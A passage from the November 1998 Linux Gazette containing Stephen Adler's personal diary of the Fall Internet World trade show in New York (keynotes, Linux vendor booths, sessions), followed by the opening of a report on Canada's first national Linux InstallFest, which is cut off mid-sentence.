98' and it took place in New York City's Javits conference center. There was a 4 day 'vertical' track on TCP/IP which was one of the motivations for going to the show. The other was to meet the commercial Linux people in person. So what follows is a 'diary' of what I can remember of the show. Day 1) I live on Long Island NY and I have to take a 1.2 hour train ride in order to reach the Javits convention center where the show is being held. My day starts by getting up at 5:45 am, taking a quick shower, and trying to get to the train station, a good 30 minutes from home, by 6:30am. This first day, I got a call from the experiment where I work, telling me that data cannot be collected. I'm the DAQ guy. I figured I would drive by work, fix the DAQ problem and continue on to the train station. The problem [INLINE] was minor, but I missed the 6:30 train I wanted to take and ended up on a later train. What was the rush? According to the Fall Internet World 1998 web page, the keynote speakers were to start on Monday at 9am and I still had to register. I wanted to get into Javits, register and get a good seat for the keynote. I was rushing to get to NYC. The train ride in was uneventful. The weather was fantastic. 70 odd degrees that day, clear blue fall skys. Getting into Pen Station and out onto the streets of NYC, on a bright clean crisp fall day is hard to explain. You have to experience it yourself. Javits is between 34th and 36 or 37th street and 11th Ave. Pen Station on about 8th and 33rd. So I take off west, down 34th searching for Javits. I've seen it from the outside a long time ago and I'm not really sure where to find it. Found it, hard to miss. And yes, there was some kind of computer show going on there. The front of the convention center had these large banners draped with some message from Hewlett Packard for all to see. There were some other banners draped in front of the building which I cannot recall now. In I go expecting to see thousands and the place looks rather empty. I peer into the show floor to find boxes and crates unopened all over the place. "Gee", I think to myself, "They have a lot of work to do in order to get setup for today". I go over and registers, there is no one in line. And again I think to myself "This is weird, the place is dead". I was worried that I would miss the key note address of John Gage, [INLINE] some science guru working for Sun. Well, it turns out that the show is really to get going on Wednesday. Ha, this explains all, I'm rushing around for no purpose at all. The good thing was that the sessions I wanted to attend did start today so waking up at 5:45am was not a complete waste of my time. Now all I had to do was blow off 1 hour waiting for my session to start. In the mean time, I went to get a cup of coffee from one of the show vendors. I spent 5 bucks on an oversized coffee and muffin. The coffee these guys sold me was so charged up, that I ended up running to the bathroom to pee at every break in my session. [INLINE] 10am finally rolled around, I went to my session titled 'The Infrastructure of IP' or something like that and spent the rest of the day listening to a rather polished man, (polished in appearance,) telling me about IP. I knew about 70% of what he was telling me and was gland to learn of the other 30% of which I've heard of but never knew the details. (What exactly is a class A, B, C, D or E type network and the details of the why's and whereof's of DHCP, a rather new protocol to replace bootp, (new in that I've just heard of it when RedHat 5.1 was released)) The other stuff he covered I cant remember now. What I remember most of this session was that this guy reminded me of a tele-evangelist. First off, the guy wore a very nice suit. You can't blame him, its his job, and working in the private sector, you have to look good. He worked for a training company and this explained why, at least I assumed why, he presented his material as he did. His style was as follows. [INLINE] His presentation tool was power point, jazzed up with animations. The slide could not just pop up. The letters had to roll in, high light streaks had to streak in, the bullet items came in, rolling in one after another with a nice time delay between bullet items of several seconds. Very slick. He would present his material in a way which was supposed to make you feel good about what you were listening to. He kept asking questions, not for the sake of the question, but to get the audience involved. He would walk up and down the isle talking about IP headers, the OSI networking model and always interjecting, "Do you feel comfortable with that? Is it all coming together now?", all the while I'm getting this weird feeling that I need to yell "Amen, the TCP/IP God is great and forgiving". This went on for the rest of the day. Sitting inside this small room listening to the wonders of IP. At one point, I decided I needed to get out and look around a bit to see what the rest of the conference attendees were engaged it. I poked my head into one room, about 4 times the size, full of people, talking Web marketing strategies. I mean it was full. This pointed out to me one fact about the internet. Very few know how it really works, and the rest are trying to cash in using browser technology. Day 2) Since my session didn't start until 10am, I didn't rush to catch the train. Instead I took my wife to work, and then had to run and catch the last train which got into NY at 10am. Meaning I would miss the first 15 minutes of my session. [INLINE] That's OK. After sitting through about 6 hours of Tele-evangelism I figured I could miss the 1st 15 minutes of the "Integrating Unix and NT", or was it, "Making Unix talk to NT" or something to that effect. The idea being that you were to learn how to setup a heterogenous Unix/NT computing environment. I got the same guy from yesterday giving this session, great guy, but I couldn't take it anymore. He ended getting hung up on setting up a DHCP server on his laptop running NT. Hey, I can fill in a widget form thing with IP numbers too... I figured I had enough and that this time, I wouldn't learn much. I wanted to see what else was 'out there'. So I wondered over to the ISP session. There was an interesting talk on setting up VPN's. That was new to me. Virtual Private Network. I still don't understand why it's such a good thing. To me, it has a bit of a snake oil man's thing to it. Look, we can setup this 'tunnel' between sites on your enterprise. Its secure, it uses the internet, it drives costs down. And I'm thinking to myself, "Well, I've got secure shell on my PC at home, if I've got secure shell on my PC at work and I ssh between the two, I must have a VPN!". I'm pushing the forefront of internet technology without even know it. I guess VPN's are for those who don't have access to ssh. Hmmm... I paid $0 for ssh, I wonder what it costs to setup a VPN? Do the ISP's give it away? I wandered from the ISP session to the Telephony session. I learned about VPN's in that session too. Here, there was a slick woman from 3Com who had even slicker .ppt files to dazzle you with. These .ppt files were in full animation. Cartoons would pop up and disappear, text would flow, arrow and pointers swooshed. I hope I don't get a .ppt deficiency complex next time I present my all too static transparencies. (Transparencies.... (yes I do code in Fortran more often that I would like to admit. But I have written some c++ code, a crude as it was...)) Lunch came next. The day before I got a hotdog from a vendor across 11th avenue for $1.50. With soda it cost me less than $3.00. Today, I got into the cafeteria line, pulled a rather bland ham and cheese hero looking thing from a shelf, a bag of chips and a soda. $10.00!!!! I grunted as I pulled out a $10 bill from my wallet but the cashier didn't seem to care. (Its not her fault I'm stupid.) I wandered around the tables, found one where only one guy was sitting at a table which fit 4. I sat down and munched away. After some time, I got to talking to the guy. He was a chap from Israel with a T1 connection out of his house and a 45Mbit connection coming in! Talking about an asynchronous plug into the Internet. My god. This guy was into testing some on demand DVD video app into his house. We'll, I'll be waiting form my 45Mbit connection coming from Bell Atlantic soon. Yea, real soon. It took 9 months to get ISDN into my house after Bell Atlantic, when they swore up and down it would be 3 weeks tops. Using Adler's law of monopolistic trends in hi-tech, I give Bell Atlantic 20 years before I see 45Mbits into my house, even thought this guy has it *now*. (I'll have more sarcastic comments on this topic later...) Ok that was lunch. I decided to blow off the rest of the Unix/NT session. At this point I cant remember very well what I did. It's all getting rather blurry. I do remember the last session I went to on day 2 of the conference. It was titled "The governance of the Internet" and was a panel of a bunch of rich guys discussing how the government should not intervene with regulating what is deployed on the internet and how its deployed. The unfortunate part was that too much of the discussion centered on 'adult material' with eyes rolling up on each mention of that dirty subject. Day 3) Finally, the first day of the real conference. I got up at 5:45 am, and rushed off to catch the train. The 7:05 express got me in about 8:30 which would be enough time to walk over to Javits and catch a good seat for the morning key note. The deliverance of this keynote really set the stage for the next two [INLINE] day's of this conference. The key note took place in the 'special events hall'. A large auditorium with a low sealing which could seat about 1000 people I estimated. The stage was setup with 4 projection size TV screens. (20 feet high by 30 feet long, I don't know if I have the aspect ratio correct there, but they were big) Above the speakers podium was another regular TV which must have been at least 48'' in size. The props which fit between these screens were black with fluorescent thin geometric design. (Predominantly orange fluorescent tones) As I walked in, some rather hyped rock and roll music was playing. Fast beat music. I'm glad I didn't have a cup of the coffee they served there in the Javits food stand because between the caffeine overdose they serve and the rock and roll, I would have shot out of my chair. So there I wait, rock and roll in the back ground, cool fluorescent stage props in front and tons of MecklerMedia adds on the TV screens, (All 5 monster screens of them). The music let up, the screens went blank and the show was about to begin. The first 2 or 3 minutes was dedicate to a rather glizy add of Sun Microsystems. More rock and roll, the 5 screens lit up with MTV style imagery dedicated to promoting Sun. After that, some rich guy, (member of the overclass), comes out and introduces himself. [INLINE] (Head of MecklerMedia, the sponsors of the show.) He eventually gets around to introducing the keynote speaker, John Gage. John, from what I can tell, has a science background. I would assume he has a Ph.D. in physics or something since he is the science liaison for Sun Microsystems. Being that I'm a scientist, I figured this would be a good chance to see what us science guys are doing to help internet technology. He gave a very good talk. In the end, he ended up promoting Sun's alternative to corba called jini. And no, its not in the public domain. John had some guy who seems to be involved in the development of jini come out and tell us what jini is and how it would affect the world. The appliance world that is. Jini was going to be, dare I call it the OS, which runs in your cam-corder, cell phone, PC, coffee pot, refrigerator, steering and breaking system in your car, landing gear in the next plane you fly, in the stop light at your closest busiest intersection, in the elevator in the World Trade center... Wait, is this a Really Stupid Idea!!!! This is nuts!!!! I don't want my car's breaking system to be on the Internet! No Way! It's going to be break-in city. All the hackers (I don't mean to give all hackers a bad name) who dedicate themselves to testing system IP vulnerabilities are going to have a field day. I am sure there will be a web page with the IPv8 address of my breaking system and the buffer overflow code which you can down load into this jini thing in my breaking system which will cause the breaking system to invert. Instead of pushing the peddle in my car to break, I'll have to push the break peddle to release the emergency breaks in my car. Good grief, I thought the year 2K freaks were crazy about the end of the world. Jini will end it all. After this jini guy finished talking about the object'ivity of this code, (you should have heard him rant. "This cam-corder is an object. Its got methods! The record method. The 'upload your data' method") all while he was staring intently at the cam-corder. It was if he was looking into and beyond the cam-corder into every appliance on the internet, including the breaking system of my car. John finished off his talk in a brilliant fashion. he pulled up the 'coolest taxi in Colorado' web page for us to see. Some guy, I can't remember where in Colorado, has wired up his cab to the internet. the interior of his cab is totally wacked out. Its got a full complement of musical instrument, drums, key board, amplifiers etc. as well as some digital camera which he used to take pictures which he uploads to his web site. Here check it out. Click here. After that bit of excitement I decided to pace myself and go to some sessions before hitting the trade show floor. The problem is that I can't remember what sessions I went to. But I do know that I only went to one of them. Because it was after that I was soon on my way to checkout the RedHat booth. My main calling to this show was to meet the RedHat team. [INLINE] I wouldn't call my self a Linux fanatic, maybe just an enthusiast. And I've gone through about 50 installations of RedHat on one machine or another since I started using it in the spring of 1996. I've been following the growth of RedHat somewhat on a daily basis since then and I've seen that they tour the world, meeting LUG groups and what not. So, needless to say, I did have a peak of curiosity to meeting someone from RedHat in flesh and blood. My search for the RedHat booth was frustrated by the poor documentation provided by the show. I went to the first floor, looking for booth 3368 or something like that and found this empty booth space in the far back reaches of the first floor show area. I then found out that they were on the second floor. This was good since this was the main show area. Then I went to the second floor and wandered around looking for them. Again, the booth numbering is not quite random but close. I'm sure mathematicians have a name for its. Local Random Space, or local non-transforming functionals, who knows. I finally stumbled into them. There it was, the RedHat booth. I was expecting it to be mobbed by people, but it was not. It was rather empty. They had one or 2 PC's running RedHat Linux and the secure version of Apache. I went up and introduce myself to Melissa, the PR woman for RedHat, although she didn't want to refer to herself as a PR person. I guess there is some stigma attached to the PR departments of high tech companies which eludes me. Maybe is because I don't watch enough TV to see all the MS commercials. In any case, I told Melissa that I expected RedHat is going to get really big. I was curious to find out what was going on with the company. She told me that it was crazy right now. My guess is that the RedHat team is hacking late into the night. With the recent investment of Netscape, Intel and two venture capital firms, they are clearly booming. (I recently saw the announcement for two new positions at RedHat on their announcement mailing list.) As I stood round the booth, it was clear to me that people were continuously coming to the RedHat booth to ask questions. I was trying to stay out of their way. Or answer some questions for them if some people couldn't get to the RedHaters. After telling Melissa that I have a RedHat mirror site, she got excited and gave me a mouse pad and a poster. I hung around a bit more, found out that all the other Linux vendors were in the Oracle Partners pavilion. So I headed over there. There I found the Pacific Hi Tech guy, the Caldera guy, the SuSE guys, and the VA guy. I spent some time with each. At that time, the VA guy was in a crisis situation. His PC had arrived broken. It was shaken up during shipping. Evesdropping in on the situation, it sounded like the disk drive was not properly screwed in to its bay and when the VA guy opened up the box, he found the system disk sitting on the bottom of the enclosure. [INLINE] After putting the disk back where it belonged, it wouldn't boot. At that time, there was some guy from RedHat, trying to figure out how to get it back up and running. It was tense. The RedHat guy had a bead of sweat coming down the side of his forehead while he franticly typed commands at the console trying to diagnose the problem. I've been in similar situations but not as bad has having my system dead on the show floor of a major Internet conference. Instead of standing around looking over his shoulder adding to his pressure, I told the guy good luck and took off for lunch. (I stopped by some time later, and the machine was running fine.) Lunch. Two hotdogs and a soda. All for under $5. Much better. Thank you street vendor. (Hmm... I see parallels here between open and close source development and lunch with the street vendor and at the conference cafeteria.) After lunch came the Oracle keynote given by the CEO of Oracle, Larry Ellison. The only time I've seen him before was on a very good documentary by this Cringly guy titled something like "The Revenge of the Nerds" which tracked historically the rise of the SV power houses along with MS. The pre Keynote show or add, was really intense. All 5 TV displays were in full swing throwing up graphics and images of Oracle and the Internet. The music was very loud and fast. The adrenaline rush was mounting. After about 5 minutes of this extremely intense pitch, the noise gave way to silence. Then someone from the audience shouted "LOUDER!". Everyone laughed. And out came the CEO of Oracle. I don't know if he caught that, but I would have been rather emberassed. So off he goes ranting and raving about the future of computing. He ragged as much as possible on Microsoft. (There was an article in the NYTimes which talked about NT servers in every Burger King or McDonnalds and he thought that was a bad idea.) He then went to describe the power of the internet and how his product was going to take advantage of it etc etc... Its hard to take so much promotion of someone's software. The one thing that irked me was that he was confusing the internet with the browser. He kept saying things like, "You can access our database on the Internet" and he popped up Netscape and ran through some demo. I have a feeling that either he figures that the regular joe mo user considers the browser as the Internet or he is a regular joe mo user who doesn't know the subtleties of what he was ranting and raving about. In any case, while he was stepping through his demo, which was running on an iMac, the app froze and there was a frantic rebooting of the machine. The Orcale guy was able to talk his way through the rebooting of the poor iMac. This is life at the bleeding edge. Even Larry Ellison as to bleed a little. After the key note, I turned my attention to a session titled, "Getting the most out of the Mozilla source code." Cool, open source, finally something about the real future. The guy who talked impressed me. He was an African guy who waxed well about web page development. I was glad to see that the field of Internet technology was not completely dominated by males of protestant/european decent. The session that followed was by some guys from real.com (I think the name has changed) who talked about audio and video compression. The topic of the session being multimedia in your browser. The technical stuff they covered was good. I can now claim to be an expert in audio and video compression. I know the jargon words, compress, equalize, encode, decode, key frame, mpeg, and so on and so forth. With that, I can bullshit my way through any multi-media discussion. I lost patience with the conference sessions and decided to go back to the show floor, Instead of rushing off to the RedHat booth in mere panic, I scouted out the various setups put up by all these forefront companies. The companies who rented real estate from Javits was a who's who of my life blood. HP, Sun, SGI, IBM, Motorola, Cicso, Microsoft, Bell Atlantic, Computer Associates, O'Reilly, Oracle, Sybase, and on and on. The Big players had Big booths and just as in the real world, the real estate proverb of "Location, Location, Location" applies equally well here. All the companies with big bucks were positioned right in front of the several entrances to the main show floor. IBM bought the best spot, they were just behind the main entrance. Microsoft had the second best spot, which was just to the right of IBM. It's hard to describe the impression of some guy who has never seen this kind of presentation before. Its BIG, Its LOUD, its FLASHY, its CATCHY, its MTV, its exhausting. These Fortune 500 booths all had big audio/visual displays advertising their merchandise. All screens were BIG. Those cool Sony TV's where you put 9 or 16 of them together in an NxM array and together they make up one big TV screen were all over the place. IBM must have had 1/2 a dozen of these arrays setup. The detail setup of all these booths has been lost from memory. Some exceptions linger. First, is Motorola's Digital Diner. [INLINE] Forget the elaborate array of video technology (gadgets), Motorola I think out did everyone with their Digital Diner. As I strolled around the floor trying to keep my mind from exploding from information overload, I saw this diner looking structure with a bunch of people standing around rather captivated by what was going on inside. I got a closer look and it took a bit of focusing, (I'm brain is fighting these peak levels of information infusion) and I realized that inside this diner, is a restaurant mockup with a full Broadway cast singing and dancing to the hand full of show attendees who caught a seat at one of the booths inside this Digital Diner. They are sing and dancing to the Tune of IP Telephony no less. The cast was a hoot. They had a cop, some sales guy, and 3 waitresses. And sing and dance they did. From the outside of the booth, you could not hear the music or what they were saying, but the visual of waitresses dancing around with coffee pot and mug in hand, with those head held microphones was just too cool. [INLINE] VIVA New York City! (My guess is that the cast is from Pasadena and they tour the country going from Internet show to ISPCon singing and dancing the IP Telephony tune, but NYC is the center of the Universe for Broadway shows, and seeing this kind of production in Javits was special. At least to me....) [INLINE] Not to be out done, the folks at Computer Associates had their own production going. Their theme was Jazz, and the stage was a funkie bar/cabaret setting. Here they had a couple with the familiar head held mics, dancing around singing about CA solutions for your corporate enterprise. They were supported by another couple with no head mics but just danced around. Again, a type of 50's be-bop as was going on in the Digital Diner. Very entertaining. Trying to compete with this kind of message delivery were other booths of smaller, lesser known (at least to me) companies were Magic shows, guys on unicycle juggling swords. You thought Central Park on a sunny summer afternoon was a zoo, then you haven't been to an Internet show lately. [INLINE] [INLINE] While wondering around, I got the both number for the NY LUG named LXNY. Strange acronym for a users group. They were located on the first floor show area way in the back. They could not have [INLINE] been further removed from the action. Ok, local users group, no money, perfectly understood. I introduced myself to the guys, signed up to their mailing lists and hung out for a chat with them. The guy in charge seemed to be a reasonable chap. He tells me he is a perl nut, or something to that effect. Cool, definite open source kind of guy. There was another guy working on an install of SuSE on his laptop. I peered over his shoulder and saw some of the installation pages as they flashed by while he selected this or that to be installed. Looked nice, a bit more polished than RedHat's install. There was another chap who told me how he partitioned his disk, (all wrong according to my rule of partitioning disks, (/, swap and /home and thats it...)) Then there was another guy who sported an old red baseball cap with the RedHat logo on it. Looked rather well worn. He had a scruffy beard, and we talked a bit. He told me that he knows Eric Raymond, the guy who wrote that "The Cathedral and the Bazaar" net-paper, from some Sci-Fi shows. He then goes on to tell me about his political slants. He's a libertarian. He tells me that he and Eric, when not talking about open source, talk about politics and guns. "Guns?" I say. Yes, guns. He then asks me if I believe in the first amendment. "Yes", I say. "Do you own a gun?", he asks. "No", I reply. "Then SHUT UP!", he snorts. Yup, guns and the first amendment go hand in hand. He continues to tell me how the 10 amendments have been eroded by the 'Government'. It's hard for me to carry on a conversation with this guy. Especially when it turns to Y2K and stocking up provisions for the aftermath. Day 4) Up and at'em at 5:45am. The day turns out to be rather gloomy with rain forecasted. By now, my commuting routine is getting fine tuned. I got to the train station in time to leisurely buy my round trip ticket, coffee and bagel and have 1 minute to hang out on the train platform watching all the other commuters who had equally well tuned commuting skills. [INLINE] Getting to Javits, I go directly to the special events hall to hear the keynote which will start in about 10 minutes. The ambiance is much more subdued. The usual MecklerMedia add stuff on the now more mundane 5 screens rolls on unnoticed. (Its amazing the capacity of the brain to adapt to new levels of sensory filtering.) The speaker was the Chairman/CEO of AT&T, C. Michael Armstrong. What he had to say was rather boring compared to the previous two speakers. He had no gizmo to show off, or web pages to surf too. He basically announced one thing, the intent of AT&T to take over the internet as we know it. Fair enough. He boasted the recent $48e9 acquisition of MCI. He waxed about the quality and quantity of future AT&T cable modem services. In all, he came across as the most fine tuned image projecting CEO that I've met. (The only other CEO being Larry Ellison.) Still, I was rather amazed at the skill of this guy to project the image of Stability, Strength, Leadership. By the end of his speech, I wanted him to my grandfather. (Not for the money mind you.) I recently met NY's senator from Long Island, Al D'Amato. Al is on the opposite end of the spectrum to the CEO of AT&T. When I met Al, the bit which struck me the most was his total arrogance at the people around him and at the same time his attempt to try and look caring. He would crack a forced smile when meeting the audience he was going to speak to. When the cameras were on him, that forced smile would pop back into his mouth, and all the while, we would have this strange glare in his eye, trying to asses every one he shook hands with. Needless to say, he blew me off when I shook his hand. (No forced smile for me.) But he did have lots of smiles for my wife who was also in the hand shaking line. (And a kiss on her cheek to boot!) In contrast, was AT&T's CEO. This man had depth. Being around him gave you a sense of solemn. He was a family man. He set the stage for his speech by telling a joke involving his granddaughter. After he established himself as a caring family man, with his joke, he plunged ahead with talk of how AT&T will be in everyones home delivering those internet services to you via TV. I guess the big difference between Al and this CEO is the amount of money they truly control. Al controls his campaign funds. He really has little control over the US government budget. In contrast, the CEO controls BILLIONS and is payed mucho more for it than Al gets for voting in the US senate. So, the law of capitalism dictates. You get the Al D'Amatos to run the country and the C. Michael Armstrong's to rule the world! After the keynote, I decided to take a break from the show floor and the TCP/IP sessions I came to attend, to listen to a discussion on the 'Adult Entertainment Industry' put on by the "Investing in the Internet" session. The session was well attended and the speakers were an interesting and diverse bunch in themselves. They had what I think was a technology consultant for Penthouse. They had some guy who recently wrote an article for Upside Magazine on the subject. Upside was sponsoring the session. They had a woman who owned her own adult Web site. And there was a guy from a research type firm who was trying to figure out how much money was being spent on adult web sites. The consulting guy for Penthouse when first. He groaned about the lack of payment for services rendered on these web sites. The researcher gave a short talk on how hard it was to figure out how much money was going into the Internet adult business. His conservative estimates, and believe me, from what he said are very conservative, is that close to $700,000,000 this year will be spent on guys looking a nude girls doing weird things to themselves and others. This is conservative. (i.e. looking at the volume of charges of 5 or so popular adult web sites.) Then the woman, owner of her own adult portal, raved about the wonders of the business. Its recession proof, it makes MONEY, (she broke even in 6 months, but she didn't say how much was invested up front), there are plenty of models waiting to get into the business. Its safe and virtual. And she thanked Bill Clinton for bring erotica into the main stream. She claims to have lots of brunets posing with cigars. One thing which annoyed me was this video camera which was filming this session. They had the audacity of panning the audience. I had to keep hiding behind the guy between me and the camera to make sure I would be seen on National TV watching this adult forum and then trying to explain to my boss why he should pay $1.4K for my registration fee. I know, its hypocrisy on my part, but that's just the way I am. So between dodging the camera pan of the audience and listening to panel mourn the difficulties of IPOing firms engaged in adult content I got out of the session with this urge to run off and make a billion in porn. Of course I'm not going to do so, but the guy sitting next to me will. After my short diversion into the underworld of the Internet, I headed back out to the show floor. I had in mind lining up to get into the Digital Diner and perhaps get one of those Motorola burgers they were serving up. [INLINE] (I do a lot of work with Motorola embedded real time systems, so that Motorola burger would have been a cool fixture on top of my 21'' monitor.) But first I wanted to stop by the SuSE stand to see if I could get a copy of their distribution. I had picked up Caldera's and Pacific HiTechs. Nope SuSE was still out and my guess is that they ran out on the first day and the talk of getting more SuSE CD's for distribution today was just hype. There was a lot of action around the Oracle partners pavilion where the minor Linux distributors were being hosted. So I stuck around. I've heard a lot of KDE and SuSE packages it with their distribution, so I was checking out what the SuSE guy was demonstrating. After a bit I got engaged with the SuSE guy. He introduced himself as Todd Andersen, the guy who claims credit for getting the term Open Source accepted as the new term to replace free software. What a character. His background is with the Department of Defense. He rattled on for about 30 minutes about the spooks in the CIA, how the NSA was a serious organization and other ongings of our defense industry which I was trying to grapple with. I'm not sure how Todd got into the Linux business coming from the Defense Department, I missed that part of his introduction. Being a fair minded guy, and the fact that I'm rather in the RedHat camp, I thought I would offer to mirror their site. I'm currently mirroring RedHat's and spent $1K of the governments money in doing so. (You need a large disk.) The disk is not totally full and being that SuSE is making inroads into the Linux mainstream, I thought it appropriate that I also mirror this site. Todd and Bodo, (Bodo is the guy with green hair as described by Dan Shaffer on CNET radio's "Project Heresy" broadcast of Thursday Oct 8, who came from Germany to help out their US SuSE brethren.) got all excited about this, after telling them that the lab I work for has a T3 connection to the internet. I then proceeded to show Todd my Linux resources web page I've put up for people at Brookhaven National Lab, or around the world as that goes, to get some advice on how to get Linux installed on their machines. Todd was loosing interest in my web page due to other show attendees coming around to checkout their very nice KDE desktop setup. I bade them firewall and took off to checkout how the RedHat booth was doing. Over at RedHat, they were fielding many questions from a hand full of people. RedHat was going to get another shipment of CD's which they were going to start giving out at 2pm. [INLINE] I hung around with Melissa and some other chap who used to work for Los Alamos National Laboratory who got RIF'ed and is now playing a role in this leading edge company. He made the right move. He was also the guy who rescued the VA Research machine which arrived in a sorry state at the show. One side note I would like to mention is they guy from Adaptec who I met. As I was hanging around the RedHat booth, I heard some guy say he is from Adaptec. This caught my attention. To me, Adaptec is the premier provider of SCSI controllers for the PC/PCI market. Most motherboards you get these days have a built in Adaptec SCSI controller chip giving you an on board SCSI port, much like the on board IDE channel all motherboards today provide. With all the experience I've had installing Linux boxes, I've always run into the Adaptec kunumbdrum. Great hardware, but bad driver. I've had several instances where spanking new 23 Gig Seagate drives were attempted on a SCSI bus hosted by an Adaptec controller which failed miserably to integrate. My solution, forget the Adaptec built in Ultra Fast SCSI controller and spend $300 on a Buslogic SCSI controller. A sure win. Great SCSI hardware and an even greater driver to go with it. When I put my first Linux box together, I pondered the SCSI question. What controller. After poking around in the SCSI howto, I found that Leonard Zubkoff got direct support from Myplex to help write the driver, the decision to buy the Buslogic card was done. And true to the open source/Internet development environment, it was never more than 24 hours before Leonard would send me a patch to his driver when things went wrong. (At one point I had one differential card and one single ended card installed in my quad Pentinum pro box and things didn't boot right, and Leonard fix that problem quick.) So, back to Adaptec. Not too long ago I read a bit of news from the RedHat web page that Adaptec was going to embrace the Linux community, which meant that it was going to release the full hardware specs to the driver writers. Voila, I would finally count on being able to use all those on board SCSI controllers which I've had to ignore. But since ever since I read this great announcement, I have not been aware of any new Adaptec driver updates, so as far as I know. So, I gave this guy from Adaptec a my long story I just dump on you and he replied with some interesting inside info. First of all, we was not with the SCSI development team. This guy was a sys admin for Adaptec. But he did tell me that Adaptec has been going through some hard times. With its success in the SCSI market, Adaptec decided to diversify into a whole bunch of other high tech field, none of which they turned out to be any good at. He told me that the Adaptec stock peaked at $50 something a share and now was down around $5 or so. This has forced Adaptec to go back and concentrate on its core business. Along with that, he tells me that Linux is really big inside the company. He tells me that there are a lot of Linux peraphenalia, and he picked up the RedHat bumper sticker which lay in front of us and pretended to tack it on to an office cubical wall. "You see a lot of things like this, around the company", he said. Just like the rest of us, the Adaptec employees saw the light in Linux and my guess is that Adaptec's announcement to support the Linux effort came from a movement within the company. From the employee's themselves. I found that insiders view of Adaptec to be rather interesting. Melissa told me that the RedHat CD handout was going to occurs at 2pm, being around 1:15 pm, I decide to go get lunch and then head for the afternoon keynote. [INLINE] It was raining rather hard so the hotdog stand was out and I had to spend lots of money on a rather simple barbecue sandwich in the overdone Javits cafeteria. From there it was on to the special events center where I waited for about 20 minutes for Jim Barksdale, the Netscape cheefo to give his view of the Internet world. I thought I was in for a surprise when the music which preceded the talk was a cool jazz piece. This is good, no need for super hyped up rock sounds beating your adrenaline system into hyper drive a-la Oracle. The problem was, as I found out within a few minutes into Jim's speech, he was a total bore. He lacked everything. No charisma, no attitude, no inner-drive, nothing. This guy reminded me of mashed potatoes. Netscape, as far as I'm concerned, is the only browser one should use. Maybe if there was a Linux port of IE, I would try it, but without that, there is nothing else which is graphically based. So, here he is, talking about The browser but has no charisma to put the punch into his presentation. I, along with the rest of the audience, was losing my attention for what ever message he had to deliver. The selling point of Netscape was the ability to type a key word into the URL field and the browser would 'find' the page you were looking for, and the 'what's related' button next to the URL field. He spent some time, too much time, plugging this feature. He then talked wonders of the customizability of the browser, either for ones own personalification or to setup some 'portle' for some company too lazy to higher a good webmaster with the proper Java skills to do the job right. At the end of his keynote, James took off without giving the change of the audience to approach him afterwards for a question or two and/or to exchange business cards. Another flop move. So be it for Jim. Although I could hardly sleep the night I found out that Netscape was going to release the source code via their Mozilla.org site. Jim hooked his wagon to the right company at the right time, nothing more. He talked about running Federal Express before running Netscape. Somehow I can't see the connection between the two companies except that there is something which went wrong here. Steve Jobs and Bill Gates grew up with the field, Jim Barkesdale seems to have dropped in like an uninvited guest. I guess its much the same as the guy Steve Jobs hired to run Apple who eventually dump Steve from Apple. Us technophites need to learn some lessons here. After being let down by the Netscape keynote, I rushed back up to the RedHat booth to see how the CD handout was going. It was going well. There was a line of about 20 to 30 people long waiting to get a RedHat CD. I took the opportunity to take some pictures of the line of Linux users to be. With that, I wished the RedHat team good luck in there endeavors and took off to my last session, "Migrating to IP version 6." This session was given by two IBM consultants out of North Carolina. My first tag team seminar with that same tele-evangelist delivery. IPv6, Amen! [INLINE] I was expecting the session to go until 5:30 but ended an hour earlier. I was planing to then roam around the show floor a bit more looking to see if there were any after hour networking parties to go to. But somehow, after getting to the main entrance plaza of Javits, with the rain coming down, and not having much of a stomach for more Internet World show biz, I canned my plans and made a bee line to Pen Station to catch the 5:22 train back to Long Island. Once on the train, I had an hour and a half to ponder my last 4 days. I've only been to scientific conferences. The last one, Computing in High Energy Physics, I found to be rather tedious and left after two days. (I had a good excuse, the DAQ system for the experiment I'm on was acting up and they needed their expert back in house. Although I could have, and did, solve all their problems by walking the clueless over the phone, through the various button clicks to get back into full data taking mode.) After I put Linux on my first home grown PC, 3 months after getting my Ph.D., my life has been so tied up with this OS that I've often pondered why I continue working at a High Energy Physics Lab. I've done my best to aid Linux gain inroads into the high energy and nuclear physics community by porting a lot of Fortran code to Linux. I've also leveraged my position at the lab to put together the first official group of Intel PC's running Linux for the scientists to analyze their data. Being in the DAQ subfield of physics give you a high point from which to watch how the technology used to bring the Internet to life evolve through time. My work has been all internet, Unix workstations, data over IP, (Gigabytes of Data and now going on to Tera bytes), routers, switches, e-mail, html, java, X11 and on and on since I first learned how to program a computer back in my first physics lab when I was 18. Walking around the show floor, and going to the sessions brought my whole world around. Internet world is really my world. I knew in depth or otherwise, every aspect of what was being presented at that show. And with the Linux people there, this added gravy to show. It was some 4 days. Friday I'll be back to helping BNL users find their way through the Unix/Internet maze of the lab. Monday I'll be back worrying about why I can't sustain 20Mbytes/sec data throughput in our DAQ, or rather why the clueless users seem to stumble all over my DAQ system. But for now, on my ride home, I just let all those memories of Internet World swirl around my head, as I looked out the LIRR train watching Long Island sweep by. _________________________________________________________________ Copyright © 1998, Stephen Adler Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ First Canadian National Linux InstallFest By Dean Staff _________________________________________________________________ Photo Album _________________________________________________________________ Saturday, September 26, 1998 was a big day for the Linux community in Canada--that day the First Canadian National Linux InstallFest was held. The InstallFest was organized on a national level by CLUE (Canadian Linux Users' Exchange) to provide interested people with experienced help installing Linux on their computers. CLUE is an organization that supports the development of local Linux Users Groups, and co-ordinates events, corporate sponsorships and publicity at a national level. CLUE hopes that by enhancing association and communication amongst its developers, users, suppliers and the general public, it can increase the use and appreciation of Linux within Canada. Highlights A dozen different events were held across Canada, from Halifax to Victoria, all taking place on the same day by Linux User Groups. The Montreal event, at its peak, had as many as 100 people in the room at once and by all accounts, had 200 to 250 people stop by. They did 40 installs, only 20 of which were from preregistrations. They even had the crew of the local TV show Branch stop by for an interview, due to air in November. Also worthy of mentioning, they had guru Jacques Gelinas, the author of the LinuxConf software, answering questions. Two InstallFests were held in the Toronto area: one at Seneca College and the other at the University of Toronto Bookstore. The Seneca College event had a late start due to a power outage, but more than made up for it as the unofficial count of installs is about 100. They even rolled out their Beowulf class Linux cluster for the masses to look at and see how a few ``small'' Linux boxes can be turned into a Supercomputer. The Manitoba UNIX Users Group, (MUUG) held their InstallFest at the University of Manitoba, as two-day event beginning on Friday. As this was their first InstallFest, they deliberately kept it small and aimed mostly at the faculty and students of the U of M. About 140 people attended, with more than half purchasing a Linux CD, as well as 19 successful installs. Attendance was greater than expected, probably due to the national news coverage the event received. At least one person came in who said 